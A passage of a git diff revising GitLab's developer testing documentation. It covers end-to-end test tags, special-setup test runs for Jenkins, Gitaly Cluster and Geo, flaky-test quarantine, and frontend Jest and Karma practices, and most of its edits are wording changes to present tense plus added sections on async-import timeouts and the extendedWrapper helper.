+| `:orchestrated` | The GitLab instance under test may be [configured by `gitlab-qa`](https://gitlab.com/gitlab-org/gitlab-qa/-/blob/master/docs/what_tests_can_be_run.md#orchestrated-tests) to be different to the default GitLab configuration, or `gitlab-qa` may launch additional services in separate Docker containers, or both. Tests tagged with `:orchestrated` are excluded when testing environments where we can't dynamically modify the GitLab configuration (for example, Staging). |
+| `:quarantine` | The test has been [quarantined](https://about.gitlab.com/handbook/engineering/quality/guidelines/debugging-qa-test-failures/#quarantining-tests), runs in a separate job that only includes quarantined tests, and is allowed to fail. The test is skipped in its regular job so that if it fails it doesn't hold up the pipeline. Note that you can also [quarantine a test only when it runs against specific environment](environment_selection.md#quarantining-a-test-for-a-specific-environment). |
| `:reliable` | The test has been [promoted to a reliable test](https://about.gitlab.com/handbook/engineering/quality/guidelines/reliable-tests/#promoting-an-existing-test-to-reliable) meaning it passes consistently in all pipelines, including merge requests. |
| `:requires_admin` | The test requires an admin account. Tests with the tag are excluded when run against Canary and Production environments. |
-| `:runner` | The test depends on and will set up a GitLab Runner instance, typically to run a pipeline. |
-| `:skip_live_env` | The test will be excluded when run against live deployed environments such as Staging, Canary, and Production. |
+| `:runner` | The test depends on and sets up a GitLab Runner instance, typically to run a pipeline. |
+| `:skip_live_env` | The test is excluded when run against live deployed environments such as Staging, Canary, and Production. |
| `:testcase` | The link to the test case issue in the [Quality Testcases project](https://gitlab.com/gitlab-org/quality/testcases/). |
| `:mattermost` | The test requires a GitLab Mattermost service on the GitLab instance. |
| `:ldap_no_server` | The test requires a GitLab instance to be configured to use LDAP. To be used with the `:orchestrated` tag. It does not spin up an LDAP server at orchestration time. Instead, it creates the LDAP server at runtime. |
@@ -33,7 +33,7 @@ This is a partial list of the [RSpec metadata](https://relishapp.com/rspec/rspec
| `:smtp` | The test requires a GitLab instance to be configured to use an SMTP server. Tests SMTP notification email delivery from GitLab by using MailHog. |
| `:group_saml` | The test requires a GitLab instance that has SAML SSO enabled at the group level. Interacts with an external SAML identity provider. Paired with the `:orchestrated` tag. |
| `:instance_saml` | The test requires a GitLab instance that has SAML SSO enabled at the instance level. Interacts with an external SAML identity provider. Paired with the `:orchestrated` tag. |
-| `:skip_signup_disabled` | The test uses UI to sign up a new user and will be skipped in any environment that does not allow new user registration via the UI. |
+| `:skip_signup_disabled` | The test uses UI to sign up a new user and is skipped in any environment that does not allow new user registration via the UI. |
| `:smoke` | The test belongs to the test suite which verifies basic functionality of a GitLab instance.|
| `:github` | The test requires a GitHub personal access token. |
| `:repository_storage` | The test requires a GitLab instance to be configured to use multiple [repository storage paths](../../../administration/repository_storage_paths.md). Paired with the `:orchestrated` tag. |
diff --git a/doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md b/doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md
index df4b833526c..8a49c333f9f 100644
--- a/doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md
+++ b/doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Running tests that require special setup
@@ -10,7 +10,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
The [`jenkins_build_status_spec`](https://gitlab.com/gitlab-org/gitlab/blob/163c8a8c814db26d11e104d1cb2dcf02eb567dbe/qa/qa/specs/features/ee/browser_ui/3_create/jenkins/jenkins_build_status_spec.rb) spins up a Jenkins instance in a Docker container based on an image stored in the [GitLab-QA container registry](https://gitlab.com/gitlab-org/gitlab-qa/container_registry).
The Docker image it uses is preconfigured with some base data and plugins.
-The test then configures the GitLab plugin in Jenkins with a URL of the GitLab instance that will be used
+The test then configures the GitLab plugin in Jenkins with a URL of the GitLab instance that are used
to run the tests. Unfortunately, the GitLab Jenkins plugin does not accept ports so `http://localhost:3000` would
not be accepted. Therefore, this requires us to run GitLab on port 80 or inside a Docker container.
@@ -30,7 +30,7 @@ To run the tests from the `/qa` directory:
CHROME_HEADLESS=false bin/qa Test::Instance::All http://localhost -- qa/specs/features/ee/browser_ui/3_create/jenkins/jenkins_build_status_spec.rb
```
-The test will automatically spin up a Docker container for Jenkins and tear down once the test completes.
+The test automatically spins up a Docker container for Jenkins and tear down once the test completes.
However, if you need to run Jenkins manually outside of the tests, use this command:
@@ -43,7 +43,7 @@ docker run \
registry.gitlab.com/gitlab-org/gitlab-qa/jenkins-gitlab:version1
```
-Jenkins will be available on `http://localhost:8080`.
+Jenkins is available on `http://localhost:8080`.
Admin username is `admin` and password is `password`.
@@ -59,19 +59,19 @@ the Docker Engine.
The tests tagged `:gitaly_ha` are orchestrated tests that can only be run against a set of Docker containers as configured and started by [the `Test::Integration::GitalyCluster` GitLab QA scenario](https://gitlab.com/gitlab-org/gitlab-qa/-/blob/master/docs/what_tests_can_be_run.md#testintegrationgitalycluster-ceeefull-image-address).
-As described in the documentation about the scenario noted above, the following command will run the tests:
+As described in the documentation about the scenario noted above, the following command runs the tests:
```shell
gitlab-qa Test::Integration::GitalyCluster EE
```
-However, that will remove the containers after it finishes running the tests. If you would like to do further testing, for example, if you would like to run a single test via a debugger, you can use [the `--no-tests` option](https://gitlab.com/gitlab-org/gitlab-qa#command-line-options) to make `gitlab-qa` skip running the tests, and to leave the containers running so that you can continue to use them.
+However, that removes the containers after it finishes running the tests. If you would like to do further testing, for example, if you would like to run a single test via a debugger, you can use [the `--no-tests` option](https://gitlab.com/gitlab-org/gitlab-qa#command-line-options) to make `gitlab-qa` skip running the tests, and to leave the containers running so that you can continue to use them.
```shell
gitlab-qa Test::Integration::GitalyCluster EE --no-tests
```
-When all the containers are running you will see the output of the `docker ps` command, showing on which ports the GitLab container can be accessed. For example:
+When all the containers are running, the output of the `docker ps` command shows which ports the GitLab container can be accessed on. For example:
```plaintext
CONTAINER ID ... PORTS NAMES
@@ -82,7 +82,7 @@ That shows that the GitLab instance running in the `gitlab-gitaly-ha` container
Another option is to use NGINX.
-In both cases you will need to configure your machine to translate `gitlab-gitlab-ha.test` into an appropriate IP address:
+In both cases you must configure your machine to translate `gitlab-gitlab-ha.test` into an appropriate IP address:
```shell
echo '127.0.0.1 gitlab-gitaly-ha.test' | sudo tee -a /etc/hosts
@@ -205,7 +205,7 @@ You can now search through the logs for *Job log*, which matches delimited secti
A Job log is a subsection within these logs, related to app deployment. We use two jobs: `build` and `production`.
You can find the root causes of deployment failures in these logs, which can compromise the entire test.
-If a `build` job fails, the `production` job won't run, and the test fails.
+If a `build` job fails, the `production` job doesn't run, and the test fails.
The long test setup does not take screenshots of failures, which is a known [issue](https://gitlab.com/gitlab-org/quality/team-tasks/-/issues/270).
However, if the spec fails (after a successful deployment) then you should be able to find screenshots which display the feature failure.
@@ -286,7 +286,7 @@ CHROME_HEADLESS=false bundle exec bin/qa QA::EE::Scenario::Test::Geo --primary-a
You can use [GitLab-QA Orchestrator](https://gitlab.com/gitlab-org/gitlab-qa) to orchestrate two GitLab containers and configure them as a Geo setup.
-Geo requires an EE license. To visit the Geo sites in your browser, you will need a reverse proxy server (for example, [NGINX](https://www.nginx.com/)).
+Geo requires an EE license. To visit the Geo sites in your browser, you need a reverse proxy server (for example, [NGINX](https://www.nginx.com/)).
1. Export your EE license
@@ -296,7 +296,7 @@ Geo requires an EE license. To visit the Geo sites in your browser, you will nee
1. (Optional) Pull the GitLab image
- This step is optional because pulling the Docker image is part of the [`Test::Integration::Geo` orchestrated scenario](https://gitlab.com/gitlab-org/gitlab-qa/-/blob/d8c5c40607c2be0eda58bbca1b9f534b00889a0b/lib/gitlab/qa/scenario/test/integration/geo.rb). However, it's easier to monitor the download progress if you pull the image first, and the scenario will skip this step after checking that the image is up to date.
+ This step is optional because pulling the Docker image is part of the [`Test::Integration::Geo` orchestrated scenario](https://gitlab.com/gitlab-org/gitlab-qa/-/blob/d8c5c40607c2be0eda58bbca1b9f534b00889a0b/lib/gitlab/qa/scenario/test/integration/geo.rb). However, it's easier to monitor the download progress if you pull the image first, and the scenario skips this step after checking that the image is up to date.
```shell
# For the most recent nightly image
@@ -309,7 +309,7 @@ Geo requires an EE license. To visit the Geo sites in your browser, you will nee
docker pull registry.gitlab.com/gitlab-org/build/omnibus-gitlab-mirror/gitlab-ee:examplesha123456789
```
-1. Run the [`Test::Integration::Geo` orchestrated scenario](https://gitlab.com/gitlab-org/gitlab-qa/-/blob/d8c5c40607c2be0eda58bbca1b9f534b00889a0b/lib/gitlab/qa/scenario/test/integration/geo.rb) with the `--no-teardown` option to build the GitLab containers, configure the Geo setup, and run Geo end-to-end tests. Running the tests after the Geo setup is complete is optional; the containers will keep running after you stop the tests.
+1. Run the [`Test::Integration::Geo` orchestrated scenario](https://gitlab.com/gitlab-org/gitlab-qa/-/blob/d8c5c40607c2be0eda58bbca1b9f534b00889a0b/lib/gitlab/qa/scenario/test/integration/geo.rb) with the `--no-teardown` option to build the GitLab containers, configure the Geo setup, and run Geo end-to-end tests. Running the tests after the Geo setup is complete is optional; the containers keep running after you stop the tests.
```shell
# Using the most recent nightly image
diff --git a/doc/development/testing_guide/end_to_end/style_guide.md b/doc/development/testing_guide/end_to_end/style_guide.md
index e6c96bca93e..ac4d26df794 100644
--- a/doc/development/testing_guide/end_to_end/style_guide.md
+++ b/doc/development/testing_guide/end_to_end/style_guide.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Style guide for writing end-to-end tests
@@ -74,7 +74,8 @@ We follow a simple formula roughly based on Hungarian notation.
- `_tab`
- `_menu_item`
-*Note: If none of the listed types are suitable, please open a merge request to add an appropriate type to the list.*
+NOTE:
+If none of the listed types are suitable, please open a merge request to add an appropriate type to the list.
### Examples
diff --git a/doc/development/testing_guide/flaky_tests.md b/doc/development/testing_guide/flaky_tests.md
index 47ed11d76a2..126d8725c21 100644
--- a/doc/development/testing_guide/flaky_tests.md
+++ b/doc/development/testing_guide/flaky_tests.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Flaky tests
@@ -26,14 +26,14 @@ it 'should succeed', quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/
end
```
-This means it will be skipped unless run with `--tag quarantine`:
+This means it is skipped unless run with `--tag quarantine`:
```shell
bin/rspec --tag quarantine
```
**Before putting a test in quarantine, you should make sure that a
-~"master:broken" issue exists for it so it won't stay in quarantine forever.**
+~"master:broken" issue exists for it so it doesn't stay in quarantine forever.**
Once a test is in quarantine, there are 3 choices:
diff --git a/doc/development/testing_guide/frontend_testing.md b/doc/development/testing_guide/frontend_testing.md
index 28fe63f1fb4..d83d58d14dd 100644
--- a/doc/development/testing_guide/frontend_testing.md
+++ b/doc/development/testing_guide/frontend_testing.md
@@ -1,12 +1,12 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Frontend testing standards and style guidelines
-There are two types of test suites you'll encounter while developing frontend code
+There are two types of test suites encountered while developing frontend code
at GitLab. We use Karma with Jasmine and Jest for JavaScript unit and integration testing,
and RSpec feature tests with Capybara for e2e (end-to-end) integration testing.
@@ -25,17 +25,19 @@ If you are looking for a guide on Vue component testing, you can jump right away
## Jest
-We have started to migrate frontend tests to the [Jest](https://jestjs.io) testing framework (see also the corresponding
-[epic](https://gitlab.com/groups/gitlab-org/-/epics/895)).
-
+We use Jest to write frontend unit and integration tests.
Jest tests can be found in `/spec/frontend` and `/ee/spec/frontend` in EE.
-Most examples have a Jest and Karma example. See the Karma examples only as explanation to what's going on in the code, should you stumble over some use cases during your discovery. The Jest examples are the one you should follow.
-
## Karma test suite
-While GitLab is switching over to [Jest](https://jestjs.io) you'll still find Karma tests in our application. [Karma](http://karma-runner.github.io/) is a test runner which uses [Jasmine](https://jasmine.github.io/) as its test
-framework. Jest also uses Jasmine as foundation, that's why it's looking quite similar.
+While GitLab has switched over to [Jest](https://jestjs.io), Karma tests still exist in our
+application because some of our specs require a browser and can't be easiliy migrated to Jest.
+Those specs intend to eventually drop Karma in favor of either Jest or RSpec. You can track this migration
+in the [related epic](https://gitlab.com/groups/gitlab-org/-/epics/4900).
+
+[Karma](http://karma-runner.github.io/) is a test runner which uses
+[Jasmine](https://jasmine.github.io/) as its test framework. Jest also uses Jasmine as foundation,
+that's why it's looking quite similar.
Karma tests live in `spec/javascripts/` and `/ee/spec/javascripts` in EE.
@@ -43,23 +45,10 @@ Karma tests live in `spec/javascripts/` and `/ee/spec/javascripts` in EE.
might have a corresponding `spec/javascripts/behaviors/autosize_spec.js` file.
Keep in mind that in a CI environment, these tests are run in a headless
-browser and you will not have access to certain APIs, such as
+browser and you don't have access to certain APIs, such as
[`Notification`](https://developer.mozilla.org/en-US/docs/Web/API/notification),
which have to be stubbed.
-### When should I use Jest over Karma?
-
-If you need to update an existing Karma test file (found in `spec/javascripts`), you do not
-need to migrate the whole spec to Jest. Simply updating the Karma spec to test your change
-is fine. It is probably more appropriate to migrate to Jest in a separate merge request.
-
-If you create a new test file, it needs to be created in Jest. This will
-help support our migration and we think you'll love using Jest.
-
-As always, please use discretion. Jest solves a lot of issues we experienced in Karma and
-provides a better developer experience, however there are potentially unexpected issues
-which could arise (especially with testing against browser specific features).
-
### Differences to Karma
- Jest runs in a Node.js environment, not in a browser. Support for running Jest tests in a browser [is planned](https://gitlab.com/gitlab-org/gitlab/-/issues/26982).
@@ -71,7 +60,7 @@ which could arise (especially with testing against browser specific features).
- No [context object](https://jasmine.github.io/tutorials/your_first_suite#section-The_%3Ccode%3Ethis%3C/code%3E_keyword) is passed to tests in Jest.
This means sharing `this.something` between `beforeEach()` and `it()` for example does not work.
Instead you should declare shared variables in the context that they are needed (via `const` / `let`).
-- The following will cause tests to fail in Jest:
+- The following cause tests to fail in Jest:
- Unmocked requests.
- Unhandled Promise rejections.
- Calls to `console.warn`, including warnings from libraries like Vue.
@@ -89,14 +78,14 @@ See also the issue for [support running Jest tests in browsers](https://gitlab.c
### Debugging Jest tests
-Running `yarn jest-debug` will run Jest in debug mode, allowing you to debug/inspect as described in the [Jest docs](https://jestjs.io/docs/en/troubleshooting#tests-are-failing-and-you-don-t-know-why).
+Running `yarn jest-debug` runs Jest in debug mode, allowing you to debug/inspect as described in the [Jest docs](https://jestjs.io/docs/en/troubleshooting#tests-are-failing-and-you-don-t-know-why).
### Timeout error
The default timeout for Jest is set in
[`/spec/frontend/test_setup.js`](https://gitlab.com/gitlab-org/gitlab/blob/master/spec/frontend/test_setup.js).
-If your test exceeds that time, it will fail.
+If your test exceeds that time, it fails.
If you cannot improve the performance of the tests, you can increase the timeout
for a specific test using
@@ -115,37 +104,6 @@ describe('Component', () => {
Remember that the performance of each test depends on the environment.
-### Timout error due to async components
-
-If your component is fetching some other components asynchroneously based on some conditions, it might happen so that your Jest suite for this component will become flaky timing out from time to time.
-
-```javascript
-// ide.vue
-export default {
- components: {
- 'error-message': () => import('./error_message.vue'),
- 'gl-button': () => import('@gitlab/ui/src/components/base/button/button.vue'),
- ...
-};
-```
-
-To address this issue, you can "help" Jest by stubbing the async components so that Jest would not need to fetch those asynchroneously at the run-time.
-
-```javascript
-// ide_spec.js
-import { GlButton } from '@gitlab/ui';
-import ErrorMessage from '~/ide/components/error_message.vue';
-...
-return shallowMount(ide, {
- ...
- stubs: {
- ErrorMessage,
- GlButton,
- ...
- },
-})
-```
-
## What and how to test
Before jumping into more gritty details about Jest-specific workflows like mocks and spies, we should briefly cover what to test with Jest.
@@ -227,15 +185,15 @@ For example, it's better to use the generated markup to trigger a button click a
## Common practices
-Following you'll find some general common practices you will find as part of our test suite. Should you stumble over something not following this guide, ideally fix it right away. 🎉
+These some general common practices included as part of our test suite. Should you stumble over something not following this guide, ideally fix it right away. 🎉
### How to query DOM elements
When it comes to querying DOM elements in your tests, it is best to uniquely and semantically target
the element.
-Preferentially, this is done by targeting what the user actually sees using [DOM Testing Library](https://testing-library.com/docs/dom-testing-library/intro).
-When selecting by text it is best to use [`getByRole` or `findByRole`](https://testing-library.com/docs/dom-testing-library/api-queries#byrole)
+Preferentially, this is done by targeting what the user actually sees using [DOM Testing Library](https://testing-library.com/docs/dom-testing-library/intro/).
+When selecting by text it is best to use [`getByRole` or `findByRole`](https://testing-library.com/docs/dom-testing-library/api-queries/#byrole)
as these enforce accessibility best practices as well. The examples below demonstrate the order of preference.
When writing Vue component unit tests, it can be wise to query children by component, so that the unit test can focus on comprehensive value coverage
@@ -246,6 +204,7 @@ possible selectors include:
- A semantic attribute like `name` (also verifies that `name` was setup properly)
- A `data-testid` attribute ([recommended by maintainers of `@vue/test-utils`](https://github.com/vuejs/vue-test-utils/issues/1498#issuecomment-610133465))
+ optionally combined with [`findByTestId`](#extendedwrapper-and-findbytestid)
- a Vue `ref` (if using `@vue/test-utils`)
```javascript
@@ -262,7 +221,8 @@ it('exists', () => {
// Good (especially for unit tests)
wrapper.find(FooComponent);
wrapper.find('input[name=foo]');
- wrapper.find('[data-testid="foo"]');
+ wrapper.find('[data-testid="my-foo-id"]');
+ wrapper.findByTestId('my-foo-id'); // with the extendedWrapper utility – check below
wrapper.find({ ref: 'foo'});
// Bad
@@ -273,6 +233,8 @@ it('exists', () => {
});
```
+It is recommended to use `kebab-case` for `data-testid` attribute.
+
It is not recommended that you add `.js-*` classes just for testing purposes. Only do this if there are no other feasible options available.
Do not use a `.qa-*` class or `data-qa-selector` attribute for any tests other than QA end-to-end testing.
@@ -389,7 +351,7 @@ it('tests a promise rejection', () => {
### Manipulating Time
-Sometimes we have to test time-sensitive code. For example, recurring events that run every X amount of seconds or similar. Here you'll find some strategies to deal with that:
+Sometimes we have to test time-sensitive code. For example, recurring events that run every X amount of seconds or similar. Here are some strategies to deal with that:
#### `setTimeout()` / `setInterval()` in application
@@ -435,7 +397,7 @@ it('does something', () => {
Sometimes a test needs to wait for something to happen in the application before it continues.
Avoid using [`setTimeout`](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout)
-because it makes the reason for waiting unclear and if used within Karma with a time larger than zero it will slow down our test suite.
+because it makes the reason for waiting unclear and if used within Karma with a time larger than zero it slows down our test suite.
Instead use one of the following approaches.
#### Promises and Ajax calls
@@ -599,7 +561,7 @@ Jest has [`toBe`](https://jestjs.io/docs/en/expect#tobevalue) and
As [`toBe`](https://jestjs.io/docs/en/expect#tobevalue) uses
[`Object.is`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is)
to compare values, it's faster (by default) than using `toEqual`.
-While the latter will eventually fallback to leverage [`Object.is`](https://github.com/facebook/jest/blob/master/packages/expect/src/jasmineUtils.ts#L91),
+While the latter eventually falls back to leverage [`Object.is`](https://github.com/facebook/jest/blob/master/packages/expect/src/jasmineUtils.ts#L91),
for primitive values, it should only be used when complex objects need a comparison.
Examples:
@@ -745,10 +707,10 @@ a [Jest mock for the package `monaco-editor`](https://gitlab.com/gitlab-org/gitl
If a manual mock is needed for a CE module, please place it in `spec/frontend/mocks/ce`.
-- Files in `spec/frontend/mocks/ce` will mock the corresponding CE module from `app/assets/javascripts`, mirroring the source module's path.
- - Example: `spec/frontend/mocks/ce/lib/utils/axios_utils` will mock the module `~/lib/utils/axios_utils`.
+- Files in `spec/frontend/mocks/ce` mocks the corresponding CE module from `app/assets/javascripts`, mirroring the source module's path.
+ - Example: `spec/frontend/mocks/ce/lib/utils/axios_utils` mocks the module `~/lib/utils/axios_utils`.
- We don't support mocking EE modules yet.
-- If a mock is found for which a source module doesn't exist, the test suite will fail. 'Virtual' mocks, or mocks that don't have a 1-to-1 association with a source module, are not supported yet.
+- If a mock is found for which a source module doesn't exist, the test suite fails. 'Virtual' mocks, or mocks that don't have a 1-to-1 association with a source module, are not supported yet.
#### Manual mock examples
@@ -776,11 +738,10 @@ Please consult the [official Jest docs](https://jestjs.io/docs/en/jest-object#mo
For running the frontend tests, you need the following commands:
-- `rake frontend:fixtures` (re-)generates [fixtures](#frontend-test-fixtures).
-- `yarn test` executes the tests.
-- `yarn jest` executes only the Jest tests.
-
-As long as the fixtures don't change, `yarn test` is sufficient (and saves you some time).
+- `rake frontend:fixtures` (re-)generates [fixtures](#frontend-test-fixtures). Make sure that
+ fixtures are up-to-date before running tests that require them.
+- `yarn jest` runs Jest tests.
+- `yarn karma` runs Karma tests.
### Live testing and focused testing -- Jest
@@ -809,12 +770,12 @@ yarn jest term
Karma allows something similar, but it's way more costly.
-Running Karma with `yarn run karma-start` will compile the JavaScript
-assets and run a server at `http://localhost:9876/` where it will automatically
-run the tests on any browser which connects to it. You can enter that URL on
+Running Karma with `yarn run karma-start` compiles the JavaScript
+assets and runs a server at `http://localhost:9876/` where it automatically
+runs the tests on any browser which connects to it. You can enter that URL on
multiple browsers at once to have it run the tests on each in parallel.
-While Karma is running, any changes you make will instantly trigger a recompile
+While Karma is running, any changes you make instantly trigger a recompile
and retest of the **entire test suite**, so you can see instantly if you've broken
a test with your changes. You can use [Jasmine focused](https://jasmine.github.io/2.5/focused_specs.html) or
excluded tests (with `fdescribe` or `xdescribe`) to get Karma to run only the
@@ -866,8 +827,8 @@ You can find generated fixtures are in `tmp/tests/frontend/fixtures-ee`.
#### Creating new fixtures
For each fixture, you can find the content of the `response` variable in the output file.
-For example, test named `"merge_requests/diff_discussion.json"` in `spec/frontend/fixtures/merge_requests.rb`
-will produce output file `tmp/tests/frontend/fixtures-ee/merge_requests/diff_discussion.json`.
+For example, a test named `"merge_requests/diff_discussion.json"` in `spec/frontend/fixtures/merge_requests.rb`
+produces an output file `tmp/tests/frontend/fixtures-ee/merge_requests/diff_discussion.json`.
The `response` variable gets automatically set if the test is marked as `type: :request` or `type: :controller`.
When creating a new fixture, it often makes sense to take a look at the corresponding tests for the
@@ -977,12 +938,12 @@ describe.each`
### RSpec errors due to JavaScript
-By default RSpec unit tests will not run JavaScript in the headless browser
-and will simply rely on inspecting the HTML generated by rails.
+By default RSpec unit tests don't run JavaScript in the headless browser
+and rely on inspecting the HTML generated by rails.
If an integration test depends on JavaScript to run correctly, you need to make
sure the spec is configured to enable JavaScript when the tests are run. If you
-don't do this you'll see vague error messages from the spec runner.
+don't do this, the spec runner displays vague error messages.
To enable a JavaScript driver in an `rspec` test, add `:js` to the
individual spec or the context block containing multiple specs that need
@@ -1004,6 +965,45 @@ describe "Admin::AbuseReports", :js do
end
```
+### Jest test timeout due to async imports
+
+If a module asynchronously imports some other modules at runtime, these modules must be
+transpiled by the Jest loaders at runtime. It's possible that this can cause [Jest to timeout](https://gitlab.com/gitlab-org/gitlab/-/issues/280809).
+
+If you run into this issue, consider eager importing the module so that Jest compiles
+and caches it at compile-time, fixing the runtime timeout.
+
+Consider the following example:
+
+```javascript
+// the_subject.js
+
+export default {
+ components: {
+ // Async import Thing because it is large and isn't always needed.
+ Thing: () => import(/* webpackChunkName: 'thing' */ './path/to/thing.vue'),
+ }
+};
+```
+
+Jest doesn't automatically transpile the `thing.vue` module, and depending on its size, could
+cause Jest to time out. We can force Jest to transpile and cache this module by eagerly importing
+it like so:
+
+```javascript
+// the_subject_spec.js
+
+import Subject from '~/feature/the_subject.vue';
+
+// Force Jest to transpile and cache
+// eslint-disable-next-line import/order, no-unused-vars
+import _Thing from '~/feature/path/to/thing.vue';
+```
+
+**PLEASE NOTE:** Do not simply disregard test timeouts. This could be a sign that there's
+actually a production problem. Use this opportunity to analyze the production webpack bundles and
+chunks and confirm that there is not a production issue with the async imports.
+
## Overview of Frontend Testing Levels
Main information on frontend testing levels can be found in the [Testing Levels page](testing_levels.md).
@@ -1016,7 +1016,7 @@ Tests relevant for frontend development can be found at the following places:
RSpec runs complete [feature tests](testing_levels.md#frontend-feature-tests), while the Jest and Karma directories contain [frontend unit tests](testing_levels.md#frontend-unit-tests), [frontend component tests](testing_levels.md#frontend-component-tests), and [frontend integration tests](testing_levels.md#frontend-integration-tests).
-All tests in `spec/javascripts/` will eventually be migrated to `spec/frontend/` (see also [#52483](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/52483)).
+All tests in `spec/javascripts/` are intended to be migrated to `spec/frontend/` (see also [#52483](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/52483)).
Before May 2018, `features/` also contained feature tests run by Spinach. These tests were removed from the codebase in May 2018 ([#23036](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/23036)).
@@ -1045,7 +1045,7 @@ testAction(
);
```
-Check an example in [`spec/javascripts/ide/stores/actions_spec.jsspec/javascripts/ide/stores/actions_spec.js`](https://gitlab.com/gitlab-org/gitlab/blob/master/spec/javascripts/ide/stores/actions_spec.js).
+Check an example in [`spec/frontend/ide/stores/actions_spec.js`](https://gitlab.com/gitlab-org/gitlab/-/blob/fdc7197609dfa7caeb1d962042a26248e49f27da/spec/frontend/ide/stores/actions_spec.js#L392).
### Wait until Axios requests finish
@@ -1057,6 +1057,29 @@ These are very useful if you don't have a handle to the request's Promise, for e
Both functions run `callback` on the next tick after the requests finish (using `setImmediate()`), to allow any `.then()` or `.catch()` handlers to run.
+### `extendedWrapper` and `findByTestId`
+
+Using `data-testid` is one of the [recommended ways to query DOM elements](#how-to-query-dom-elements).
+You can use the `extendedWrapper` utility on the `wrapper` returned by `shalowMount`/`mount`.
+By doing so, the `wrapper` provides you with the ability to perform a `findByTestId`,
+which is a shortcut to the more verbose `wrapper.find('[data-testid="my-test-id"]');`
+
+```javascript
+import { extendedWrapper } from 'jest/helpers/vue_test_utils_helper';
+
+describe('FooComponent', () => {
+ const wrapper = extendedWrapper(shallowMount({
+ template: `<div data-testid="my-test-id"></div>`,
+ }));
+
+ it('exists', () => {
+ expect(wrapper.findByTestId('my-test-id').exists()).toBe(true);
+ });
+});
+```
+
+Check an example in [`spec/frontend/alert_management/components/alert_details_spec.js`](https://gitlab.com/gitlab-org/gitlab/-/blob/ac1c9fa4c5b3b45f9566147b1c88fd1339cd7c25/spec/frontend/alert_management/components/alert_details_spec.js#L32).
+
## Testing with older browsers
Some regressions only affect a specific browser version. We can install and test in particular browsers with either Firefox or BrowserStack using the following steps:
@@ -1065,7 +1088,7 @@ Some regressions only affect a specific browser version. We can install and test
[BrowserStack](https://www.browserstack.com/) allows you to test more than 1200 mobile devices and browsers.
You can use it directly through the [live app](https://www.browserstack.com/live) or you can install the [chrome extension](https://chrome.google.com/webstore/detail/browserstack/nkihdmlheodkdfojglpcjjmioefjahjb) for easy access.
-Sign in to BrowserStack with the credentials saved in the **Engineering** vault of GitLab's
+Sign in to BrowserStack with the credentials saved in the **Engineering** vault of the GitLab
[shared 1Password account](https://about.gitlab.com/handbook/security/#1password-guide).
### Firefox
@@ -1076,7 +1099,7 @@ You can download any older version of Firefox from the releases FTP server, <htt
1. From the website, select a version, in this case `50.0.1`.
1. Go to the mac folder.
-1. Select your preferred language, you will find the DMG package inside, download it.
+1. Select your preferred language. The DMG package is inside. Download it.
1. Drag and drop the application to any other folder but the `Applications` folder.
1. Rename the application to something like `Firefox_Old`.
1. Move the application to the `Applications` folder.
diff --git a/doc/development/testing_guide/index.md b/doc/development/testing_guide/index.md
index 840c8c9206c..68326879dd0 100644
--- a/doc/development/testing_guide/index.md
+++ b/doc/development/testing_guide/index.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Testing standards and style guidelines
diff --git a/doc/development/testing_guide/review_apps.md b/doc/development/testing_guide/review_apps.md
index 5dcc7e7091e..a5294be40a9 100644
--- a/doc/development/testing_guide/review_apps.md
+++ b/doc/development/testing_guide/review_apps.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Review Apps
@@ -102,8 +102,8 @@ subgraph "CNG-mirror pipeline"
- The manual `review-stop` can be used to
stop a Review App manually, and is also started by GitLab once a merge
request's branch is deleted after being merged.
-- The Kubernetes cluster is connected to the `gitlab` projects using
- [GitLab's Kubernetes integration](../../user/project/clusters/index.md). This basically
+- The Kubernetes cluster is connected to the `gitlab` projects using the
+ [GitLab Kubernetes integration](../../user/project/clusters/index.md). This basically
allows to have a link to the Review App directly from the merge request widget.
### Auto-stopping of Review Apps
@@ -164,7 +164,7 @@ used by the `review-deploy` and `review-stop` jobs.
You need to [open an access request (internal link)](https://gitlab.com/gitlab-com/access-requests/-/issues/new)
for the `gcp-review-apps-dev` GCP group and role.
-This will grant you the following permissions for:
+This grants you the following permissions for:
